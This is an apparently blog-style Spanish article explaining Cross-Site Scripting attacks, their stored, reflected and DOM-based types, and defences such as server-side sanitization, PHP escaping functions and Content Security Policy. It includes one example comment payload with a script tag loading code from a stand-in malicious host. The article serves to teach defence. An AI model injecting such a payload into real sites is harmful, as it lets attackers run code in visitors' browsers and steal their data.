Ataque XSS: qué es y cómo evitarlo

6min

Según OWASP, el ataque de Cross-Site Scripting (XSS) es una de las vulnerabilidades de seguridad más comunes. Esta se produce cuando un hacker consigue infiltrarse en una página web para inyectar un script malicioso.

En este artículo, vamos a explicarte qué es un ataque XSS y cómo puedes evitarlo. ¡Sigue leyendo!

Índice

Qué es un ataque XSS

Un ataque XSS (acrónimo de Cross-Site Scripting) es un tipo ataque informático que consiste en la introducción de código malicioso desde otros sitios y que es capaz de ejecutarse en el cliente. Se trata de uno de los ataques de seguridad más extendidos en la web, popular desde el inicio.

Cómo funciona un ataque XSS

El ataque XSS consiste en la introducción de código en la página web atacada para que, cuando un usuario legítimo lo use, el atacante pueda robar su información o incluso ganar privilegios de administrador (si el usuario los tenía).

La introducción del código malicioso se puede realizar de diversas maneras, pero siempre aprovechando vulnerabilidades en las aplicaciones web. Por ejemplo, en el sitio web puede existir un área de comentarios enviados por el usuario. Si estos comentarios no son debidamente sanitizados, sería posible que el atacante escribiera algo como 

Esto es un comentario… <script src='https://sitio-malicioso.com/script-atacante.js'></script>

Si ese comentario se publica tal cual en la página web atacada, se cargará en su contenido un script de un sitio malicioso, lo que daría como resultado la posibilidad de ejecutar código de cualquier tipo en el navegador web y pondría al descubierto cualquier tipo de interacción del usuario con la página atacada.

También se podría introducir este ataque por medio de otras etiquetas (como el iframe) o de cualquier otra vía más sofisticada.

En ocasiones, ni siquiera es necesario que el código malicioso sea almacenado en la base de datos. Muchas veces la propia página web muestra contenido enviado por el usuario. Por ejemplo, cuando buscamos en Google, en las páginas de resultados aparece el mismo texto que estamos buscando. Si ese texto no se ha validado y sanitizado correctamente antes de mostrarlo en la página, podría darse el caso de introducción de código malicioso. Este sería un ejemplo de ataque XSS no persistente, que es el más común en la actualidad.

Tipos de ataque XSS

No existe una única forma de ciberataque, sino que éste se puede clasificar entre distintas categorías. Según el tipo de vulnerabilidad que sufra la página web, un ataque XSS se pueden dividir en:

Ataque XSS almacenado (persistente)

El ataque XSS almacenado (también conocido como ataque XSS persistente) se produce cuando el código malicioso está dentro de la base de datos del servidor web y los usuarios acceden a la página web afectada.

Los ejemplos más comunes se producen en foros o secciones de comentarios. Ahí, los hackers insertan el script para que, cuando el usuario visite la página, éste se ejecute en su navegador para robar su información.

Ataque XSS reflejado

Por otro lado, el ataque XSS reflejado se realiza cuando el código malicioso se inyecta a través de una URL (o un formulario). Así, cuando el usuario hace clic en el enlace manipulado, el código se ejecuta y el hacker puede realizar acciones en su nombre.

Para este tipo de ataque se utilizan técnicas como phishing para poder atraer al usuario y que haga clic sin sospechar del contenido.

Ataque XSS DOM

A diferencia de los tipos anteriores, el ataque XSS basado en DOM se centra en la manipulación del DOM para modificar el contenido de una página web. Aquí no se realiza ninguna inyección directa de código malicioso, sino que el hacker se aprovecha de cómo el navegador interpreta y ejecuta el código JavaScript desde el lado del cliente para poder modificar la estructura de la web y poder realizar acciones no deseadas.

Cómo evitar un ataque XSS

La manera más básica de evitar un ataque XSS consiste en validar y sanitizar toda la entrada de datos del usuario. Cualquier dato introducido en la página por los usuarios lo tenemos que considerar poco seguro y, por lo tanto, nunca debemos confiar que no puede resultar en un ataque.

Especialmente, cuando esos datos luego se van a volcar dentro del propio sitio, como en un sistema de comentarios, donde los mensajes enviados por los usuarios aparecerán más tarde como contenido de la propia web. Es de suma importancia realizar todo tipo de operaciones que aseguren que las cadenas de texto introducidas son inofensivas.

Todos los lenguajes de programación tienen mecanismos para validar y sanitizar, siendo importante que estas operaciones se realicen del lado del servidor, pues es el entorno donde podemos estar seguros que nuestro código de validación y sanitización será ejecutado sin alteraciones.

También es clave usar mecanismos que nos aseguren que los datos volcados en la página son inofensivos. Por ejemplo, convirtiendo cualquier valor de una cadena en sus caracteres especiales del HTML, tal como se hace con las funciones htmlspecialchars() o htmlentities() de PHP.

Content Security Policy (CSP) para prevenir ataques XSS

Recientemente, los navegadores han incorporado una nueva herramienta para evitar la mayoría de los ataques XSS debidos a la inyección de contenido desde otros sitios web.

Se trata de una técnica que ya hemos explicado en otro post anterior, por lo que os recomendamos la lectura del artículo sobre Content Security Policy (CSP).

Conclusiones sobre ataques XSS

Es importante comprender qué son y cómo funcionan las ciberamenazas para poder proteger la seguridad de nuestra página web y, con ello, la privacidad de nuestros usuarios. Si no queremos enfrentarnos a las consecuencias, como la pérdida de la confianza entre nuestros clientes, lo mejor será implementar medidas de seguridad que reduzcan el riesgo de vulnerabilidad.

Al mismo tiempo, si nuestra página web fuera víctima de un ataque XSS, podría afectar a la reputación de nuestro dominio, además de que los motores de búsqueda (como Google) podrían penalizarnos en cuanto a visibilidad y empeorar nuestro posicionamiento SEO. Sin olvidar que podemos poner en riesgo a otros sitios web alojados dentro del mismo servidor, por lo que te recomendamos elegir siempre un hosting web confiable para llevar a cabo tu proyecto.

Fernán García de Zúñiga

Productos relacionados: